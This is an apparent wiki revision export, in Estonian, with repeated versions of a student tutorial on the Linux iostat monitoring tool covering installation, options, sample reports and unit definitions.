01:27:34 PM all 0.25 0.00 0.25 0.00 0.00 99.50<br />
01:27:35 PM all 0.75 0.00 0.25 0.00 0.00 99.00<br />
Average: all 0.33 0.00 0.17 0.00 0.00 99.50</pre><br />
<br />
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]<br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
=== Võtmed ===<br />
'''<br />
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><br />
<td>-c</td><br />
<td>Kuvab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Kuvab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Määra ühikuteks kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Määra ühikuteks Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Kuvab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Kuva laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
'''<br />
==Protsessori ja plokkseadmete raport==<br />
'''<br />
'''Iostat''' käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.72 1096.66 1598.70 2719068704 3963827344<br />
sda1 178.20 773.45 1329.09 1917686794 3295354888<br />
sda2 16.51 323.19 269.61 801326686 668472456<br />
sdb 371.31 945.97 1073.33 2345452365 2661206408<br />
sdb1 371.31 945.95 1073.33 2345396901 2661206408<br />
sdc 408.03 207.05 972.42 513364213 2411023092<br />
sdc1 408.03 207.03 972.42 513308749 2411023092</pre><br />
<br />
'''Iostat''' võtmega '''-c''' kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -c<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76</pre><br />
'''Iostat''' võtmega '''-d''' kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -d<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.71 1096.61 1598.63 2719068720 3963827704<br />
sda1 178.20 773.41 1329.03 1917686810 3295355248<br />
sda2 16.51 323.18 269.60 801326686 668472456<br />
sdb 371.29 945.93 1073.28 2345452365 2661209192<br />
sdb1 371.29 945.91 1073.28 2345396901 2661209192<br />
sdc 408.01 207.04 972.38 513364213 2411024484<br />
sdc1 408.01 207.02 972.38 513308749 2411024484</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
<p>Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]</p><br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>%user</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. </td><br />
</tr><br />
<tr><td>%nice</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga ''nice'' tasemel. </td><br />
</tr><br />
<tr><td>%system</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.</td><br />
</tr><br />
<tr><td>%iowait</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.</td><br />
</tr><br />
<tr><td>%steal</td><td>Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest ''hypervisor'' tegeles teise virtuaalse protsessoriga.</td><br />
</tr><br />
<tr><td>%idle</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.</td><br />
</tr><br />
<tr><td>tps</td><td>Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.</td><br />
</tr><br />
<tr><td>Blk_read/s</td><td>Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_wrtn/s</td><td>Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_read</td><td>Loetud plokkide koguarv.</td><br />
</tr><br />
<tr><td>Blk_wrtn</td><td>Kirjutatud plokkide koguarv.</td><br />
</tr><br />
</table><br />
'''<br />
==Võrgu raport==<br />
'''<br />
Võrgu statistika kuvamiseks saab kasutada võtit '''-n'''.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -n<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %sys %iowait %idle<br />
4.33 0.01 1.16 0.31 94.19<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 2.83 0.35 5.39 29817402 457360056<br />
sda1 3.32 50.18 4.57 4259963994 387641400<br />
sda2 0.20 0.76 0.82 64685128 69718576<br />
sdb 6.59 15.53 42.98 1318931178 3649084113<br />
sdb1 11.80 15.53 42.98 1318713382 3649012985<br />
<br />
Device: rBlk_nor/s wBlk_nor/s rBlk_dir/s wBlk_dir/s rBlk_svr/s wBlk_svr/s<br />
192.168.1.4:/home/data 90.67 0.00 0.00 0.00 5.33 0.00<br />
192.168.1.4:/backup 8.74 0.00 0.00 0.00 8.74 0.00<br />
192.168.1.8:/media 0.02 0.00 0.00 0.00 0.01 0.00</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>rBlk_nor/s</td><td>Programmide poolt loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_nor/s</td><td>Programmide poolt kirjutatud plokkide arv.</td></tr><br />
<tr><td>rBlk_dir/s </td><td>Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>wBlk_dir/s </td><td>Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>rBlk_svr/s</td><td>NFS kliendi poolt serverist loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_svr/s</td><td>NFS kliendi poolt serverisse kirjutatud plokkide arv.</td></tr><br />
</table><br />
'''<br />
==Näited==<br />
'''<br />
Kindla seadme kohta info kuvamiseks saab kasutada võtit '''-p'''.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -p sda<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.69 1096.51 1598.48 2719069928 3963829584<br />
sda2 336.38 27.17 54.00 67365064 133905080<br />
sda1 821.89 0.69 243.53 1720833 603892838</pre><br />
<br />
Võti '''-t''' näitab jooksvat aega.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -t<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Time: 08:57:52 AM<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.69 1096.49 1598.45 2719070384 3963829704<br />
sda1 178.18 773.32 1328.88 1917688474 3295357248<br />
sda2 16.51 323.14 269.57 801326686 668472456<br />
sdb 371.25 945.82 1073.16 2345452741 2661228872<br />
sdb1 371.25 945.80 1073.16 2345397277 2661228872<br />
sdc 407.97 207.02 972.27 513364233 2411030200<br />
sdc1 407.97 207.00 972.27 513308769 2411030200</pre><br />
<br />
Võti '''-x''' kuvab lisainfot.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -x<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s avgrq-sz avgqu-sz await svctm %util<br />
sda 27.86 63.53 61.77 132.91 1096.46 1598.40 13.84 0.21 1.06 2.28 44.45<br />
sda1 0.69 33.22 48.54 129.63 773.30 1328.84 11.80 1.39 7.82 2.28 40.57<br />
sda2 27.16 30.32 13.23 3.28 323.13 269.56 35.90 0.55 32.96 3.44 5.68<br />
sdb 39.15 215.16 202.20 169.04 945.80 1073.13 5.44 1.05 2.78 1.64 60.91<br />
sdb1 39.15 215.16 202.20 169.04 945.77 1073.13 5.44 1.05 2.78 1.64 60.91<br />
sdc 8.90 3.63 356.56 51.40 207.01 972.24 2.89 1.04 2.56 1.55 63.30<br />
sdc1 8.90 3.63 356.55 51.40 206.99 972.24 2.89 1.04 2.56 1.55 63.30</pre><br />
<br />
Iostat'i on võimalik käivitada iga x sekundi pärast y korda. Käsk '''iostat 2''' käivitab iostat'i iga 2 sekundi tagant, kuni peatamiseni Ctrl-C'ga.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat 2<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.67 1096.39 1598.33 2719070584 3963891256<br />
sda1 178.16 773.26 1328.79 1917688482 3295418672<br />
sda2 16.51 323.11 269.54 801326878 668472584<br />
sdb 371.22 945.74 1073.08 2345454041 2661251200<br />
sdb1 371.22 945.72 1073.08 2345398577 2661251200<br />
sdc 407.93 207.00 972.19 513366813 2411036564<br />
sdc1 407.93 206.98 972.19 513311349 2411036564</pre><br />
<br />
Käsk '''iostat 2 3''' käivitab iostat'i iga 2 sekundi tagant kokku 3 korda.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat 2 3</pre><br />
<br />
Laiendatud versiooni kplokkseadmete info kuvamiseks saab kasutada käsku '''iostat -xtc'''.[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html]<br />
<pre>$ iostat -xtc<br />
extended device statistics tty cpu<br />
device r/s w/s kr/s kw/s wait actv svc_t %w %b tin tout us sy wt id<br />
fd0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 0 0 0 0 0 100<br />
sd0 0.0 0.0 0.4 0.4 0.0 0.0 49.5 0 0 <br />
sd6 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 <br />
nfs1 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 <br />
nfs49 0.0 0.0 0.0 0.0 0.0 0.0 15.1 0 0 <br />
nfs53 0.0 0.0 0.4 0.0 0.0 0.0 24.5 0 0 <br />
nfs54 0.0 0.0 0.0 0.0 0.0 0.0 6.3 0 0 <br />
nfs55 0.0 0.0 0.0 0.0 0.0 0.0 4.9 0 0 </pre><br />
'''<br />
==Kokkuvõte==<br />
'''<br />
Iostat on kasulik tööriist süsteemi toimimise jälgimiseks, mis kuvab infot plokkseadmete, protsessori ja võrgu kasutuse kohta. Selle abil saadud info on abiks süsteemi sisend/väljund seadmete konfiguratsiooni optimeerimiseks, kuna aitab välja selgitada võimalikke probleemseid kohti.<br />
'''<br />
==Allikad==<br />
'''<br />
[http://linux.die.net/man/1/iostat Linux man page]<br />
<br />
[http://www.computerhope.com/unix/iostat.htm Computerhope]<br />
<br />
[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/ Thegeekstuff]<br />
<br />
[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html Oracle Solaris Admin]<br />
<br />
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Iostat&diff=82575
Iostat
2014-11-13T19:47:51Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= Iostat =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
November 2014<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
Iostat'i kasutatakse sisend/väljund seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat'i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]<br />
<br />
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
'''<br />
===Paigaldamise lühijuhend===<br />
'''<br />
Iostat'i kasutamiseks on vaja paigaldada '''sysstat'''.[http://www.thegeekstuff.com/2011/03/sar-examples/]<br />
<br />
<pre>sudo apt-get install sysstat</pre><br />
<br />
Kontrolli paigaldust:<br />
<br />
<pre>$ sar -V<br />
sysstat version 10.0.0<br />
(C) Sebastien Godard (sysstat orange.fr)</pre><br />
<br />
<pre>$ sar 1 3<br />
Linux 2.6.18-194.el5PAE (dev-db) 03/26/2011 _i686_ (8 CPU)<br />
<br />
01:27:32 PM CPU %user %nice %system %iowait %steal %idle<br />
01:27:33 PM all 0.00 0.00 0.00 0.00 0.00 100.00<br />
01:27:34 PM all 0.25 0.00 0.25 0.00 0.00 99.50<br />
01:27:35 PM all 0.75 0.00 0.25 0.00 0.00 99.00<br />
Average: all 0.33 0.00 0.17 0.00 0.00 99.50</pre><br />
<br />
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]<br />
<br />
'''<br />
== Süntaks ==<br />
'''<br />
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]<br />
<pre>iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] <br />
[ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] <br />
[ -p [ device [,...] | ALL ] ] [ interval [ count ] ]</pre><br />
<br />
'''<br />
=== Võtmed ===<br />
'''<br />
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><br />
<td>-c</td><br />
<td>Kuvab protsessori kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-d</td> <td>Kuvab seadmete kasutuse raportit.</td><br />
</tr><br />
<tr><br />
<td>-g group_name { device [...] | ALL }</td><td> Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.</td><br />
</tr><br />
<tr><br />
<td>-h</td> <td>Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). </td><br />
</tr><br />
<tr><br />
<td>-k</td> <td>Määra ühikuteks kb/s.</td> <br />
</tr><br />
<tr><br />
<td>-m</td> <td>Määra ühikuteks Mb/s.</td> <br />
</tr><br />
<tr><br />
<td>-N</td> <td>Kuvab infot device mapper'i kohta. Kasulik LVM2 jälgimiseks.</td> <br />
</tr><br />
<tr><br />
<td>-p [ { device [,...] | ALL } ]</td> <td>Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. </td><br />
</tr><br />
<tr><br />
<td>-T</td> <td>Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. </td><br />
</tr><br />
<tr><br />
<td>-t</td> <td>Näita iga raporti aega. </td><br />
</tr><br />
<tr><br />
<td>-V</td> <td>Prindi versiooni number ja tekst. </td><br />
</tr><br />
<tr><br />
<td>-x</td> <td>Kuva laiendatud statistikat. </td><br />
</tr><br />
<tr><br />
<td>-z</td> <td>Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.</td><br />
</tr> <br />
</table><br />
<br />
'''<br />
==Protsessori ja plokkseadmete raport==<br />
'''<br />
'''Iostat''' käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.72 1096.66 1598.70 2719068704 3963827344<br />
sda1 178.20 773.45 1329.09 1917686794 3295354888<br />
sda2 16.51 323.19 269.61 801326686 668472456<br />
sdb 371.31 945.97 1073.33 2345452365 2661206408<br />
sdb1 371.31 945.95 1073.33 2345396901 2661206408<br />
sdc 408.03 207.05 972.42 513364213 2411023092<br />
sdc1 408.03 207.03 972.42 513308749 2411023092</pre><br />
<br />
'''Iostat''' võtmega '''-c''' kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -c<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76</pre><br />
'''Iostat''' võtmega '''-d''' kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat -d<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.71 1096.61 1598.63 2719068720 3963827704<br />
sda1 178.20 773.41 1329.03 1917686810 3295355248<br />
sda2 16.51 323.18 269.60 801326686 668472456<br />
sdb 371.29 945.93 1073.28 2345452365 2661209192<br />
sdb1 371.29 945.91 1073.28 2345396901 2661209192<br />
sdc 408.01 207.04 972.38 513364213 2411024484<br />
sdc1 408.01 207.02 972.38 513308749 2411024484</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
<p>Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]</p><br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>%user</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. </td><br />
</tr><br />
<tr><td>%nice</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga ''nice'' tasemel. </td><br />
</tr><br />
<tr><td>%system</td><td>Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.</td><br />
</tr><br />
<tr><td>%iowait</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.</td><br />
</tr><br />
<tr><td>%steal</td><td>Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest ''hypervisor'' tegeles teise virtuaalse protsessoriga.</td><br />
</tr><br />
<tr><td>%idle</td><td>Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.</td><br />
</tr><br />
<tr><td>tps</td><td>Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.</td><br />
</tr><br />
<tr><td>Blk_read/s</td><td>Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_wrtn/s</td><td>Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.</td><br />
</tr><br />
<tr><td>Blk_read</td><td>Loetud plokkide koguarv.</td><br />
</tr><br />
<tr><td>Blk_wrtn</td><td>Kirjutatud plokkide koguarv.</td><br />
</tr><br />
</table><br />
'''<br />
==Võrgu raport==<br />
'''<br />
Võrgu statistika kuvamiseks saab kasutada võtit '''-n'''.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -n<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %sys %iowait %idle<br />
4.33 0.01 1.16 0.31 94.19<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 2.83 0.35 5.39 29817402 457360056<br />
sda1 3.32 50.18 4.57 4259963994 387641400<br />
sda2 0.20 0.76 0.82 64685128 69718576<br />
sdb 6.59 15.53 42.98 1318931178 3649084113<br />
sdb1 11.80 15.53 42.98 1318713382 3649012985<br />
<br />
Device: rBlk_nor/s wBlk_nor/s rBlk_dir/s wBlk_dir/s rBlk_svr/s wBlk_svr/s<br />
192.168.1.4:/home/data 90.67 0.00 0.00 0.00 5.33 0.00<br />
192.168.1.4:/backup 8.74 0.00 0.00 0.00 8.74 0.00<br />
192.168.1.8:/media 0.02 0.00 0.00 0.00 0.01 0.00</pre><br />
<br />
'''Kasutatud mõõtühikud'''<br />
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]<br />
<table style="background:white;color:black;width:80%;" border="1" cellpadding="5" cellspacing="0" align=""><br />
<tr><td>rBlk_nor/s</td><td>Programmide poolt loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_nor/s</td><td>Programmide poolt kirjutatud plokkide arv.</td></tr><br />
<tr><td>rBlk_dir/s </td><td>Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>wBlk_dir/s </td><td>Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.</td></tr><br />
<tr><td>rBlk_svr/s</td><td>NFS kliendi poolt serverist loetud plokkide arv.</td></tr><br />
<tr><td>wBlk_svr/s</td><td>NFS kliendi poolt serverisse kirjutatud plokkide arv.</td></tr><br />
</table><br />
'''<br />
==Näited==<br />
'''<br />
Kindla seadme kohta info kuvamiseks saab kasutada võtit '''-p'''.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -p sda<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.69 1096.51 1598.48 2719069928 3963829584<br />
sda2 336.38 27.17 54.00 67365064 133905080<br />
sda1 821.89 0.69 243.53 1720833 603892838</pre><br />
<br />
Võti '''-t''' näitab jooksvat aega.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -t<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
Time: 08:57:52 AM<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.69 1096.49 1598.45 2719070384 3963829704<br />
sda1 178.18 773.32 1328.88 1917688474 3295357248<br />
sda2 16.51 323.14 269.57 801326686 668472456<br />
sdb 371.25 945.82 1073.16 2345452741 2661228872<br />
sdb1 371.25 945.80 1073.16 2345397277 2661228872<br />
sdc 407.97 207.02 972.27 513364233 2411030200<br />
sdc1 407.97 207.00 972.27 513308769 2411030200</pre><br />
<br />
Võti '''-x''' kuvab lisainfot.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<pre>$ iostat -x<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: rrqm/s wrqm/s r/s w/s rsec/s wsec/s avgrq-sz avgqu-sz await svctm %util<br />
sda 27.86 63.53 61.77 132.91 1096.46 1598.40 13.84 0.21 1.06 2.28 44.45<br />
sda1 0.69 33.22 48.54 129.63 773.30 1328.84 11.80 1.39 7.82 2.28 40.57<br />
sda2 27.16 30.32 13.23 3.28 323.13 269.56 35.90 0.55 32.96 3.44 5.68<br />
sdb 39.15 215.16 202.20 169.04 945.80 1073.13 5.44 1.05 2.78 1.64 60.91<br />
sdb1 39.15 215.16 202.20 169.04 945.77 1073.13 5.44 1.05 2.78 1.64 60.91<br />
sdc 8.90 3.63 356.56 51.40 207.01 972.24 2.89 1.04 2.56 1.55 63.30<br />
sdc1 8.90 3.63 356.55 51.40 206.99 972.24 2.89 1.04 2.56 1.55 63.30</pre><br />
<br />
Iostat'i on võimalik käivitada iga x sekundi pärast y korda. Käsk '''iostat 2''' käivitab iostat'i iga 2 sekundi tagant, kuni peatamiseni Ctrl-C'ga.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat 2<br />
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db) 07/09/2011<br />
<br />
avg-cpu: %user %nice %system %iowait %steal %idle<br />
5.68 0.00 0.52 2.03 0.00 91.76<br />
<br />
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn<br />
sda 194.67 1096.39 1598.33 2719070584 3963891256<br />
sda1 178.16 773.26 1328.79 1917688482 3295418672<br />
sda2 16.51 323.11 269.54 801326878 668472584<br />
sdb 371.22 945.74 1073.08 2345454041 2661251200<br />
sdb1 371.22 945.72 1073.08 2345398577 2661251200<br />
sdc 407.93 207.00 972.19 513366813 2411036564<br />
sdc1 407.93 206.98 972.19 513311349 2411036564</pre><br />
<br />
Käsk iostat 2 3 käivitab iostat'i iga 2 sekundi tagant kokku 3 korda.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]<br />
<br />
<pre>$ iostat 2 3</pre><br />
<br />
Laiendatud versiooni kplokkseadmete info kuvamiseks saab kasutada käsku '''iostat -xtc'''.[https://docs.oracle.com/cd/E23824_01/html/821-1451/spmonitor-4.html]<br />
<pre>$ iostat -xtc<br />
extended device statistics tty cpu<br />
device r/s w/s kr/s kw/s wait actv svc_t %w %b tin tout us sy wt id<br />
fd0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 0 0 0 0 0 100<br />
sd0 0.0 0.0 0.4 0.4 0.0 0.0 49.5 0 0 <br />
sd6 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0 0 <br />
